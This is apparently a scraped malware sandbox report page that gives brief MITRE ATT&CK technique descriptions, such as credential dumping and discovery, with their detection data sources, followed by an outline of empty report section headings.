Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report hztxqReczN

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Spam, unwanted Advertisements and Ransom Demands:

DDoS:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior